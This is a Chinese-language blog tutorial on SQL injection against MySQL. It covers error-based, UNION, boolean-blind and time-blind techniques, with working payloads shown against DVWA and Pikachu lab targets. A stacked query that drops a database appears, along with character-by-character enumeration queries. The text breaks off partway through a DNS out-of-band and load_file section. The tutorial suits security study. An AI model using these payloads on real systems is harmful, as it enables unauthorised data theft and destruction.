SQL注入原理与信息获取及常规攻击思路靶场实现

SQL注入原理与信息获取及常规攻击思路靶场实现

很早的时候就写了,权当备份吧

Web程序三层架构

在这里插入图片描述

表示层 :与用户交互的界面 , 用于接收用户输入和显示处理后用户需要的数据
业务逻辑层 :表示层和数据库访问层之间的桥梁 , 实现业务逻辑 ,验证、计算、业务规则等等
数据访问层 :与数据库打交道 , 主要实现对数据的增、删、改、查

而SQL注入恰好是发生在与数据库交互的过程中,精心构造的语句通过逃避业务逻辑层的筛选,再经过后端的拼接形成恶意的SQL语句,以达到恶意入侵的目的,但是由于每个网站的数据访问层逻辑差异,我们需要对对应语句格式进行猜测,进行试错

SQL注入漏洞原理

SQL注入的产生是由于服务器在处理SQL语句时错误地拼接用户的提交参数,打破原有的SQL执行逻辑,导致攻击者可以部分或完全掌控SQL语句的执行效果,只要我们能在注入位置构造正确闭合,就可以利用SQL注入攻击目标

SQL注入的威胁来自于欺骗:

  • 攻击者欺骗服务器,使服务器认为自己是普通用户
  • 攻击者提交恶意参数欺骗服务器,让服务器认为是正常的参数

SQL注入是怎么发生的,我们下面我们来看个例子:

假如一个网站在用户登录时,传递参数 idpasswd ,那么后端将会在数据库中查找有关内容,即拼接sql语句,我们就可以猜测,在数据访问层可能进行了如下操作(注意此时我们假设后端未作传参限制)

select ... from ... where id and passwd

那么我们接下来的想法就很简单,如果我们已经知道一个id,或者只想获取这一个用户的数据,那么只要想办法将目标的passwd参数失效即可,而让参数失效,将它注释掉将是最好的选择,则构造以下语句:

select ... from ... where id = '已知id'  -- ' and passwd = ''

然后你会发现 最后的passwd被注释掉了,因为我们假设后端未作传参限制,则我们直接在用户id输入处输入以下内容即可 已知id' -- ,当id后面的单引号与后端拼接时加上的单引号构成一对时(SQL语句用单引号表示字符串),SQL语句中会认为第一个参数id已经结束,后面读取到--及其后面的空格时,它会认为passwd已被注释掉了,即passwd不起作用,实际进入数据库的语句如下:

select ... from ... where id = '已知id'

需要注意的是--后面必须要有空格才能生效(SQL语法的规则),如果说我们不知道id,也不知道密码,又应该如何构造呢,前文提到,where后面我们可以认为是一个逻辑表达式,那么只要保证它是一个重言式即可,可以如下构造:

select ... from ... where id = ''or 1=1 -- ' and passwd = ''

可以注意到 id里面实际上是没有参数的,而or 1=1 -- 恰好将passwd注释掉,将where后面的有效部分形成了一个重言式,实际进入数据库的语句如下:

select ... from ... where id=''or 1=1

此时如果后端也没有对返回数据做出限制,那么我们将直接在前端看到我们想要获取到的数据

同时我们甚至还可以利用SQL语句的多句执行特性构造出以下语句(假设我们通过其他手段得知数据库名,或关键字段)

select ... from ... where id = ''or 1=1; drop database user -- ' and passwd = ''

实际传入数据库为

select ... from ... where id = ''or 1=1;
drop database user ;

我们将直接干掉该网站的名为user的数据库,但是部分数据库不支持多语句执行,需要注意

SQL注入攻击分类

SQL注入攻击通常可以分为以下几种分类:

  1. 基于错误的注入(Error-based Injection):利用SQL语法错误或异常来获取数据库中的信息,比如通过构造一个错误的查询来获取数据库错误信息。
  2. 基于盲注的注入(Blind Injection):攻击者无法直接获取查询结果,但可以通过不同的方式,如延时注入(通过延长查询执行时间来判断条件真假)、布尔盲注(通过真假条件来判断条件真假)等方法来获取数据库信息。
  3. 联合查询注入(Union Query Injection):利用UNION关键字将攻击者构造的查询结果与原始查询结果合并返回,从而获取数据库中的信息。
  4. 时间盲注(Time-Based Blind Injection):通过构造恶意的SQL语句,使得数据库在执行时产生延时,从而判断条件真假。
  5. 堆叠查询注入(Stacked Query Injection):在一次数据库查询中执行多个SQL语句,从而绕过输入过滤和限制,执行恶意操作。
  6. 二次注入(Second-order Injection):攻击者利用应用程序在处理用户输入时未充分检查的漏洞,将恶意代码存储在数据库中,当后续处理这些数据时再次执行,从而实现注入攻击。

至于其他的注入分类则是依据注入的位置(注入点)不同而分类的

检测SQL注入位置

对于计算机程序来说,SQL注入无非就是用户输入的内容存在差别,那么按注入时输入的内容来看,无非就是数字类型与字符型类型,我认为不应该纠结于注入的分类,只需要注意一些可能出现注入的点即可,我们只需要知道,凡是用户可以进行数据提交,并且数据可能存储进数据库的点,均有可能发生SQL注入,就可以我们通常会以以下两种形式进行初步测试:

  • 拼接单引号等不闭合字符:
select ... from ... where xxx=xxx'
  • 拼接永真式与永假式联合检测:
select ... from ... where xxx=xxx and 1=1
select ... from ... where xxx=xxx and 1=2

还有一种较为隐蔽的注入检测,但是仅能作为低风险提示,部分数据库在运算时执行较大数学运算时会出现整数溢出问题,如较低版本的MySQL,我们在MySQL执行:select 99999999999999999999+21

MySQL抛出以下错误:BIGINT value is out of range in ‘99999999999999999999+21’

MySQL数据库的系统表

对于SQL注入,我们的主要目的是为了获取信息,所以我们必须先了解每种数据库的系统表所具有的内容,以快速获取信息:

系统库的作用及描述

  1. information_schema: information_schema 是一个系统数据库,包含了关于数据库服务器的元数据信息。它存储了关于数据库、表、列、索引、权限等方面的信息。information_schema 可以用于查询数据库结构、权限信息和其他数据库对象的详细信息。
  2. mysql: mysql 数据库包含了MySQL服务器的配置和授权信息。它存储了用户、权限、角色、密码等数据,用于身份验证和访问控制。通过 mysql 数据库,可以管理MySQL的用户和授权。
  3. performance_schema: performance_schema 是一个用于性能监测和分析的系统数据库。它提供了关于MySQL服务器性能的详细信息,包括查询执行、锁定、资源消耗等方面的数据。performance_schema 可用于分析和优化MySQL的性能。
  4. sys: sys 是MySQL 8.0版本引入的数据库,旨在提供更方便的性能分析和诊断工具。它建立在 performance_schema 和其他信息基础上,提供了一组存储过程和视图,以便更轻松地分析和理解MySQL的性能数据。

information_schema

在利用漏洞时,我们常常利用此数据库中以下元数据表:

表名 描述
TABLES 用于查找数据库中存在的表格信息,包括表名和存储引擎等。
COLUMNS 用于查找表格的列信息,包括列名、数据类型等。
KEY_COLUMN_USAGE 用于查找表格的外键和主键信息,可以帮助黑客了解数据库表格之间的关系。
TABLE_CONSTRAINTS 用于查找表格级别的约束信息,包括主键、外键等约束。
VIEWS 用于查找视图的信息,包括视图名、定义等。
ROUTINES 用于查找存储过程和函数的信息,包括名称、参数等。
SCHEMATA 用于查找数据库中的模式(schema)信息,包括数据库名等。

系统元数据库mysql

表名 描述
user 存储MySQL服务器的用户账户信息,包括用户名、密码、主机等。
db 存储授权信息,指定哪个用户有权访问哪个数据库。
tables_priv 存储表级别的权限信息,指定哪个用户对哪个表有特定权限。
columns_priv 存储列级别的权限信息,指定哪个用户对哪个表的哪些列有特定权限。
procs_priv 存储存储过程和函数的权限信息。
host 存储允许连接到MySQL服务器的主机信息。
global_priv 存储全局权限信息,指定哪个用户具有特定的全局权限。
func 存储MySQL的内置和用户定义的函数信息。
time_zone 存储时区信息。
time_zone_name 存储时区名称信息。

报错注入原理

  • updatexml报错

updatexml函数用于更新xml文档内容,updatexml函数有三个参数:第一个参数是xml文档的对象名称,第二个参数是**xpath字符串**,第三个参数是用来替换xpath中查找到字符串的新内容,但是该函数有个特性,他会执行我们插入在xpath中的SQL字段,其中updatexml中的xml文档名称在注入时一般可以乱写,只要让它报错即可,并且支持回显示例用法如下:

select ... from ...  where ... and updatexml(... ,concat(0x3e,[函数或语句]), ...)

示例updatexml构造:

select ... from ... where id='' and passwd=''  

对于以上语句,我们可以在id处构造如下语句:' or updatexml(1,concat(0x3e,version()),1) -- 最后加个空格,形成:

select ... from ... where id='' or updatexml(1,concat(0x3e,version()),1) -- ' and passwd=''  

将返回报错语句:XPATH syntax error: '>[版本号]'

  • extractvalue报错

extractvalue用于查找xml文档中的内容

extractvalue函数有两个参数:第一个参数是xml对象名称,第二个是**xpath字符串**,它与updatexml具有相似的特性这里不做过多赘述,我们一样可以如上构造:

select ... from ...  where ... and extractvalue(... ,concat(0x3e,[函数或语句]))
select ... from ... where id=''or extractvalue(1,concat(0x3e,version())) -- ' and passwd=''  

你可能注意到了,我们在对应的xpath字符串位置使用了concat(0x3e,[函数或语句])的形式,在我们想要的语句前拼接了一个16进制的ascii码,这是因为我们为了使xpath处报错,使用了非标准的xpath路径,为了使报错信息完整,故我们使用了这一方法,要获取其他字符的16进制ascii码可使用python:

print(hex(ord(字符)))快速获取

  • floor函数报错

floor(N)函数用于返回小于等于N的一个最大整数,floor(13.5)返回13

count()函数用于统计行数,通常有count(*),count(1),count(列名),其中前两者统计时会将数据为NULL值算入,而count(列名)不会算入NULL

rand()函数用于返回一个伪随机值(浮点型):rand()函数括号中可以带有一个初始值,我们称之为种子,当不携带种子时rand()将返回一个0-1间的随机值,携带种子后,将会返回一个固定的随机序列

floor(i + rand() *(j − i))两者嵌套使用,将返回一个ni <= n < j,注入时我们利用的是多次运行这个语段所产生的随机数列

group by用来筛选出其后跟上的条件符合的数据,并且进行分组,它在分组时会产生一张表,用于储存数据(可以暂时理解成一张临时数据表),并且表在查询写入是两个过程,先查询后写入

floor报错注入正是利用这个特性,在语句中嵌入特定floorrand语句,达到多次计算产生0101011的随机数列,于是我们有以下测试语句:

select 1 from (select count(*),concat(version(),floor(rand(0)*2)) as x from information_schema.tables group by x)as y;

对于实际情况有以下构造:

' or (select 1 from (select count(*),concat(version(),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x)as y) #

在此语句中,我们构造了两个嵌套的select语句,原因是group by产生的是一张数据表,当我们注入时,数据库服务器的查询语句筛选的特定的某个条件,而不是将一张表作为条件,所以我们进行嵌套,返回表中的数据

使用count用来进行数量统计产生表中的数据,利用它与group by将有相同特征数据合并的特性,保证每个不同特征的键值唯一

重点:floor(0+rand()*2)会产生0与1的随机数,在产生表时的查询过程中运算一次,写入过程中又运行一次,产生固定序列011011011则会有以下效果(为叙述方便暂时忽略拼接的version函数):

  • 若第一次产生0,表中无数据,直接记录。

  • 第二次产生1,查询有无1,要将它进行计数,并且写入表,写入表时产生1,正常进行,count计数

  • 第三次产生0,查询有0,写入时产生1,此时产生冲突,数据库会默认保存1的数据,在新的行中

此时新的列表中有以下内容:

KEY COUNT
0 1
1 1
1 2

全过程总共5次计算,可以看出数据库里至少要有三条数据,才能成功,否则查找终止不会产生冲突键值

UNION注入原理

利用select 1,2,3...进行试探

在注入过程中,我们通常不知道前端与后端的交互会过滤掉哪些字符,我们可以用select 1,2,3 ...来试探,在第二个select语句中的数字是任意的,可重复,可乱序,数量可变,如果仅仅使用select 1,2,3将返回一张1行3列的表,并且表名和数据名全是我们select中的数字,我们可以通过对应的数字的缺位来判断返回的字段数

  • union语法

union用于合并两个以上语句的搜索结果作为数据集,但是union中的select语句必须有相同的列,并且每列的数据类型必须一致,但是union语句所形成的数据集不会有重复内容,如果要显示重复数据,需要使用union all,通常我们使用以下语句:

select ... from ...
union
select 1,2,3,4 ...
select ... from ...
union all
select 1,2,3,4 ...
  • 进行注入

union注入一般用于检测出注入位置查询了几个参数,我们以dvwa为例,构筑语句:

select ... from ... where ... union select 1  # xxxx

我们直接抓包修改参数id为:'union select 1 # 然后放包得到数据库查询参数不一致的回显

在这里插入图片描述

然后我们就依次进行反复尝试,增加查询数,在输入'union select 1,2 # 时得到:

在这里插入图片描述

可以发现,查找数据为两条,回显数据也是两条,为1,2位置,那么接下来就可以对两个位置进行尝试。

我们输入:'union select (select version()),2 #获得版本号(其他查询可自行尝试)

在这里插入图片描述

注意:union查询可以使用数字,字母或者null作为select后的试探字段,例如:

select ... from ... where ... union select 'a','b'  # xxxx
select ... from ... where ... union select null,null  # xxxx

我们在试探查询字段数时还有一种方法,我们可以如下进行构造:

select ... from ... where ... order by 1  # xxxx

当我们超过了查询字段数时,如在dvwa中输入 'order by 3 #,得到报错:

在这里插入图片描述

可以由此逐步推断出查询字段数为2,但是在使用union注入时,不能够在order by后面进行注入

布尔盲注原理

布尔盲注常见的就是and 1=1and 1=2or 1=1利用这些逻辑表达式将用于查询的SQL语句变为永真式或永假式以此来获取更多的数据,MySQL通常还有以下的注入方法:

运算 Payload
异或 1 xor 1=1
按位与 & 1=1
&& 1=1
按位或 | 1=1
|| 1=1

但是对于多数Web应用,1=1此类往往受到屏蔽,我们可以利用其他语句绕过:

运算 Payload
大于 1>2
小于 1<2
大于等于 4> =3
小于等于 3<=2
不等于 5<>5
不等于 5!=5
兼容空值等于 3<= >4

亦或者使用模糊查找:

运算 Payload
在 … 和 … 之间 5 is between 1 and 6
模糊匹配 1 like 1
空值断言 1 is null
非空断言 1 is not null
正则匹配 1 is regexp 1
数组查找 1 in (1)
  • 利用布尔注入发起攻击

注意:布尔注入返回到的都只有真或假两种情况,要么永真式+and+payload,要么永假式+or+payload。只有尽可能转化为真或假两种情况,才能获取更多有用的信息

获取数据库的数目,我们在注入点后面拼接:

1 and (select count(*) from information_schema.schemata)>a   # a为数据库的数量估计数目

枚举获取第一个数据库的名称,我们进行拼接:

1 andselect ascii(mid(schema_name,1,1)) from information_schema.schemata limit 0,1)>a
# a为猜测的ascii码值

首先使用mid函数,它有三个参数:mid(待查找字符串,起始字符位置,匹配的字符串长度),limit接收两个参数:limit(起始行的上一行,筛选行数目),则上述语句是对第一个数据库的第一个字符进行测试

获取指定数据库security表的数目:

1 andselect count(*) from information_schema.tables where table_schema='security')>a
# a为表的数量估计数目

同理猜测表名:

1 and (select ascii(mid(table_name,1,1)) from information_schema.tables where table_schema='security')>a 		# a为猜测的ascii码值

然后获取字段:

1 and (select count(*) from information_schema.columns where table_name='user' and table_schema='security')>a		# a为字段的数量估计数目

猜测字段:

1 andselect ascii(mid(column_name,1,1)) from information_schema.columns where table_name='user' and table_schema='security')>a
# a为猜测的ascii码值

以上就是常见的发起布尔注入攻击的方式,但是从上面的讲解可以发现,这种攻击会发起大量类似的请求,在进行防御时需要注意,下面介绍时间注入攻击也是如此

皮卡丘靶场布尔注入关卡,我们已知有一个用户kobe,我们就可以利用and拼接来进行布尔盲注:

kobe' and (length(database())=4)#

在这里插入图片描述

因为存在布尔注入,故在and后面的表达式为真时将返回kobe原有的信息,而在后面条件为假时将不会返回数据,接下来继续拼接测试:

kobe' and (length(database())=7)#

在这里插入图片描述

返回了kobe的信息,则数据库名的长度为7,我们继续测试数据库的名称

kobe' and ascii(mid(database(),1,1))<111#   

在这里插入图片描述

我们继续拼接:

kobe' and ascii(substr(database(),1,1))=112#

在这里插入图片描述

即数据库名的第一个字母的ASCII码值为112,为字母p

时间盲注原理

时间注入攻击利用的是数据库响应时间来进行攻击的一种方式,通常是利用数据中可以延长相应时间的函数来实现,通常来讲只要网站响应时间大于设定的时间,即可认为存在时间盲注漏洞,但是部分网站会设置强制返回时间

注意:MySQL 的优化器在执行查询时会尝试优化查询计划,以提高查询性能。在这种情况下,MySQL 可能会在查询优化过程中预先计算 IF 函数的结果,因此不会真正触发 SLEEP 函数的延时操作。这是为了避免潜在的性能问题。所以直接在终端运行并不能达到延时的效果

  • 利用sleep函数盲注
1 and sleep(3)

sleep函数接收一个参数,其单位为秒

  • 利用benchmark
1 or benchmark(函数执行次数,运行的表达式)
1 and benchmark(函数执行次数,运行的表达式)

benchmark函数用于衡量数据库的性能指标,当运行次数足够多时,也会造成数据库缓慢响应,虽然benchmark函数的返回值总为0,但是在使用时仍会在执行对应次数后得到返回值

  • 笛卡尔积延时
select * from1,2

数据库在查询两张表时,遵循将结果以离散数学中的笛卡尔积方式进行合并成一张结果表,只要两张表的数据结果合并后足够大,也可以造成响应时间延长

  • 特殊:数据库与网站长连接情况下的锁定盲注
select get_lock('锁名',超时时间)

get_lock函数用于向MySQL请求一个锁,如果在超时时间内获取到锁,将会立即返回1,否则将在超时时间后返回0,在满足长连接的条件下,我们在第一个会话中使用该语句select get_lock('test',1),请求一个锁在1秒内返回,获取成功后,我们再新建一个与网站的会话中使用select get_lock('test',5),获取一个和前一个会话中同名的锁,此时由于前一个会话占用了该锁,则此时第二会话中的获取必然是失败的,即数据库响应时间延长(如果第一会话中直接获取失败该锁(有可能恰好其他会话占用该锁,虽概率极小),可修改超时时间继续测试(后续该锁可能会由于其他会话结束而释放,故多测试几次),倘若仍然成立则可以直接判定存在时间盲注漏洞

利用时间盲注发起攻击

我们利用if函数进行攻击(这里仅以sleep进行演示猜测当前数据库名):

1 and if (ascii(mid(database(),1,1))=a,sleep(3),1)	# a为猜测的数据库名第一个字母的ascii码值

if函数接收三个参数:if(条件语句,为真返回,为假返回),此语句表示当ascii(mid(database(),1,1))=a成立时数据库执行sleep(3),我们在输入框中拼接:

' or (if(ascii(mid(database(),1,1))>111,sleep(3),1))#

在这里插入图片描述

发现十分明显的延时,即数据库名的的第一个字母ASCII码值大于111

DNS外带注入

dns外带注入属于一种较为特殊的注入手段,它是将查询的结果通过其他通道带出来的操作方式,但是此注入需要有一定的条件:数据库服务器必须是windows平台,mysql的secure_file_priv必须允许导入导出操作

在 MySQL 数据库中,secure_file_priv 是一个配置选项,用于指定允许从哪个目录加载或保存文件。这个选项可以帮助增强数据库的安全性,限制了从数据库服务器上可以访问的文件的范围。这主要用于防止未经授权的访问或滥用,例如防止用户将恶意文件加载到数据库服务器上。

以下是 secure_file_priv 配置选项的释义:

  • 如果 secure_file_priv 被设置为一个目录路径,例如:/var/lib/mysql-files/,那么 MySQL 只允许从这个目录加载或保存文件。这意味着在查询中使用 LOAD DATA INFILESELECT ... INTO OUTFILE 等语句时,只能从指定目录读取或保存文件。
  • 如果 secure_file_priv 被设置为一个空字符串,则 MySQL 允许从任何位置加载或保存文件,这可能会增加数据库的安全风险,因为用户可以访问服务器上的任何文件。

通过设置适当的 secure_file_priv 值,数据库管理员可以更好地控制数据库服务器上文件的访问权限,从而减少潜在的安全风险。例如,可以将 secure_file_priv 设置为一个特定的目录,仅允许用户在这个目录中加载或保存文件,从而限制了潜在的安全漏洞。

注意:在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,配置文件中不会出现该条目,需要自行添加,运行以下语句查看:

show global variables like '%secure%';

我使用的是5.7.26,默认情况下为NULL:

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         | NULL  |
+--------------------------+-------+
3 rows in set, 1 warning (0.01 sec)

在MySQL的配置文件中增加secure_file_priv=后重启MySQL:

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         |       |
+--------------------------+-------+
3 rows in set, 1 warning (0.00 sec)

load_file使用

LOAD_FILE 是 MySQL 中的一个函数,用于从文件系统中加载文件的内容并将其作为字符串返回。这个函数的一般语法如下:

LOAD_FILE(file_name)
  • file_name: 指定要加载的文件的路径和名称。

请注意以下几点:

  1. 权限: MySQL服务器必须具有文件读取权限,否则 LOAD_FILE 函数可能会返回 NULL 或抛出错误。具体来说,MySQL进程的操作系统用户需要有访问该文件的权限。
  2. 路径: 如果提供的文件名是绝对路径,MySQL会尝试从该路径读取文件。如果是相对路径,MySQL会从其数据目录开始搜索文件。并且路径使用正斜杠/
  3. 返回值: 如果成功读取文件,LOAD_FILE 返回文件的内容作为字符串;否则返回 NULL

例如,假设你有一个名为 example.txt 的文件,它位于MySQL数据目录下的 files 子目录中,可以使用以下语句加载该文件:

SELECT LOAD_FILE('files/example.txt') AS file_content;

数据目录路径

在MySQL的配置文件中有一项(以phpstudy展示):

datadir=D:/PhpStudy/Extensions/MySQL5.7.26/data/

load_file在允许下默认读取该目录,比如我在其中放一个flag.txt文件然后读取:

mysql> select load_file('./flag.txt');
+------------------------------+
| load_file('./flag.txt')      |
+------------------------------+
| flag={'this is a flag file'} |
+------------------------------+
1 row in set (
上一篇:使用Python进行网站爬虫和数据分析


下一篇:Spring拓展点之SmartLifecycle如何感知容器启动和关闭